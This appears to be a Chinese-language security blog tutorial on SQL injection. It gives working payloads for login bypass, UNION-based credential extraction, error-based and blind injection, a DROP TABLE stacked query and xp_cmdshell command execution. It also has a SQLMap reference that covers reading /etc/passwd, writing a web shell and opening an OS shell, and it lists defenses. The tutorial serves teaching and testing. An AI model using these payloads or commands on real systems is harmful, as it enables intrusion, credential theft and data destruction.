【Web漏洞】SQL 注入实战技巧

SQL 注入的产生是因为程序在处理数据时,错误的将用户输入的内容拼接到 SQL 语句中执行。

一、类型

基础型

  • 通过 or 语句,结合单引号 ' 提前闭合 SQL 语句,从而实现绕过校验的效果。
sql 复制代码
SELECT * FROM users WHERE username = 'admin' AND password = 'anything' OR '1'='1';
# payload 为 anything' OR '1'='1
  • 通过注释,提前结束 SQL 语句,从而实现绕过校验的效果
sql 复制代码
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything';
# payload 为 admin' -- (* 这里注意,对 MYSQL 而言,-- 注释后面至少需要跟一个 空格,才能被识别为注释)

UNION 查询注入

通过 UNION 查询注入,可以实现执行我们拼接的其它 SQL 语句,从而实现查询敏感数据。

注意:要求前后语句查询结果的列数一致

sql 复制代码
SELECT id, name FROM products WHERE id = '' UNION SELECT username, password FROM users -- ';
payload 为 ' UNION SELECT username, password FROM users -- 
sql 复制代码
select id,username,display_name,role_name from lab_users where username = '' UNION SELECT '1', 'test', @@version, 'test' -- ' and password_demo = '' OR '1'='1'
payload 为 ' UNION SELECT '1', 'test', @@version, 'test' -- 
sql 复制代码
-- 当前数据库名
' UNION SELECT '1', 'test', database(), 'test' -- 
-- 当前连接用户
' UNION SELECT '1', 'test', user(), 'test' -- 
-- 所有数据库列表
' UNION SELECT '1', 'test', (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata), 'test' -- 

错误型 SQL 注入

通过触发数据库报错,从而带出一些数据库信息。

注:前提是前端/响应包会回显错误信息。

sql 复制代码
SELECT id,username,display_name,role_name 
FROM lab_users 
WHERE username = '' AND 1=CAST((SELECT @@version) AS UNSIGNED) -- ' and password_demo = '' OR '1'='1'
payload 为 ' AND 1=CAST((SELECT @@version) AS UNSIGNED) -- 

盲注

通过页面的响应情况逐步推断数据。

注:可以执行SQL语句,但是页面不直接显示查询结果

  • 布尔型盲注:利用正确错误的不同,实现判断
sql 复制代码
SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') -- ';
payload 为 ' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') -- 
  • 时间型盲注:利用响应时间的不同,实现判断
sql 复制代码
SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) -- ';
payload 为 ' AND IF(1=1, SLEEP(5), 0) -- 

堆叠条件注入

注:MySQL 不支持

sql 复制代码
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';

存储过程注入(特指 Microsoft SQL Server(MSSQL))

xp_cmdshell: SQL Server 独有的扩展存储过程,作用是调用操作系统的命令行(cmd.exe)来执行系统命令。其他数据库(如 MySQL、Oracle、PostgreSQL)中不存在。(SQL Server 默认已禁用)

sql 复制代码
'; EXEC xp_cmdshell('dir'); --

服务器在解析 Cookie 时执行了 SQL 查询

bash 复制代码
Cookie: session_id=' OR '1'='1;

二、防御

  • 参数化查询和预编译语句:用户输入与 SQL 语句分离
  • ORM 框架:自动生成 SQL 执行
  • 输入验证:转义特殊字符
  • 数据库权限:最小权限

三、SQLMap 的使用

SQLMap 是一款开源的自动化 SQL 注入检测与利用工具,支持多种数据库(MySQL、PostgreSQL、Oracle、MSSQL、SQLite 等)。

  1. 检测一个 URL 是否存在 SQL 注入
bash 复制代码
# 测试一个 URL 是否存在 SQL 注入
python sqlmap.py -u "http://example.com/page.php?id=1"

# 测试 POST 请求
python sqlmap.py -u "http://example.com/login.php" --data="username=admin&password=123"
python sqlmap.py -u "http://47.104.184.55:8080/modules/sql-injection/login" --data="username=test&password=test"
  1. 常用参数
  • 来源
参数 说明 示例
-u URL 指定目标 URL -u "http://site.com/page?id=1"
-g GOOGLE_DORK 通过 Google 搜索结果批量测试 -g "inurl:php?id="
-m FILE 从文件中读取多个目标 URL -m targets.txt
-r FILE 从文件加载 HTTP 请求(抓包保存的请求) -r request.txt
--crawl=DEPTH 爬取目标站点并自动测试 --crawl=3
  • 请求参数
参数 说明 示例
--method=METHOD 指定 HTTP 方法 --method=PUT
--data=DATA 指定 POST 数据 --data="id=1&name=test"
--cookie=COOKIE 指定 Cookie --cookie="PHPSESSID=abc123"
--headers=HEADERS 添加额外 HTTP 头 --headers="X-Forwarded-For: 1.1.1.1"
--user-agent=UA 自定义 User-Agent --user-agent="Mozilla/5.0..."
--random-agent 随机使用 User-Agent
--proxy=PROXY 使用代理 --proxy="http://127.0.0.1:8080"
--tor 通过 Tor 网络访问
--delay=SECONDS 请求间隔延迟(秒) --delay=2
--timeout=SECONDS 超时时间 --timeout=30
--retries=RETRIES 连接失败重试次数 --retries=3
  • 注入检测参数
参数 说明 示例
-p PARAM 指定要测试的参数 -p "id"
--dbms=DBMS 手动指定数据库类型(跳过识别) --dbms=mysql
--level=LEVEL 测试等级(1-5,默认1) --level=3
--risk=RISK 风险等级(1-3,默认1) --risk=2
--technique=TECH 指定注入技术类型 --technique=BEUSTQ
--prefix=PREFIX 手动指定注入前缀 --prefix="')"
--suffix=SUFFIX 手动指定注入后缀 --suffix="-- -"
  • level 等级说明:

1:仅测试 GET/POST 参数(默认)

2:增加 Cookie 测试

3:增加 User-Agent / Referer 测试

4:更广泛的 payload 测试

5:最全面,包含所有可能的注入点

  • risk 等级说明:

1:基本无副作用的测试(默认)

2:增加基于时间的盲注等

3:增加 OR 型注入(可能修改数据)

  • technique 技术类型:

B:Boolean-based blind(布尔盲注)

E:Error-based(报错注入)

U:Union query-based(联合查询注入)

S:Stacked queries(堆叠查询)

T:Time-based blind(时间盲注)

Q:Inline queries(内联查询)

  • 数据提取参数
参数 说明 示例
--dbs 列出所有数据库
--current-db 获取当前数据库名
--current-user 获取当前数据库用户
-D DB 指定数据库 -D testdb
--tables 列出指定数据库的所有表 -D testdb --tables
--columns 列出指定表的所有列 -D testdb -T users --columns
--dump 导出表数据 -D testdb -T users --dump
-T TABLE 指定表名 -T users
-C COL 指定列名(逗号分隔) -C "username,password"
--count 获取表中的记录数
--schema 获取数据库整体架构信息
--passwords 提取用户密码哈希
--privileges 查看用户权限
--roles 查看用户角色
--is-dba 判断当前用户是否为 DBA
  • 文件操作参数
参数 说明 示例
--file-read=FILE 读取服务器上的文件 --file-read="/etc/passwd"
--file-write=FILE 向服务器写入文件 --file-write="shell.php"
--file-dest=DEST 指定写入的目标路径 --file-dest="/var/www/shell.php"
  • 操作系统操作函数
参数 说明 示例
--os-cmd=CMD 执行操作系统命令 --os-cmd="whoami"
--os-shell 获取交互式操作系统 Shell
--os-pwn 获取 Meterpreter 会话
--os-smbrelay 通过 SMB 中继提权

SQL 注入 GetShell 说明

MySQL

通过 outfile 和 dumpfile 写 shell

  • 数据库当前用户为 root 权限;
  • 关闭 secure-file-priv
  • 知道当前网站的绝对路径;
  • 写入路径存在写入权限。

MySQL 提权

UDF 提权:这个博主写的好

SQL Server

  • xp_cmdshell 存储过程
相关推荐
leisoo80976 小时前
ig50数据落盘ClickHousevsTimescaleDBvsDuckDB实测对比 IG50免费开源股票数据API接口
开发语言·jvm·数据库·python·json
倔强的石头1067 小时前
数据库迁移工具从单机作业走向云端协同
数据库
FfHUCisI8 小时前
Golang 数据库连接池深度调优
android·数据库·golang
我不会插花弄玉8 小时前
2.库的操作【由浅入深-MySQL】
数据库·mysql
人民广场吃泡面8 小时前
前端该重视的编程思想
前端
冬夜戏雪8 小时前
agent的trace 和eval
开发语言·前端·javascript
IT_陈寒8 小时前
Redis的DEL命令居然没删干净数据?这个坑我爬了半天
前端·人工智能·后端
kyriewen8 小时前
面试官让我现场用 AI 改一个真实 bug——他打断我的 3 个理由
前端·面试·ai编程
viskaz9 小时前
1-向量数据库概览
数据库·embedding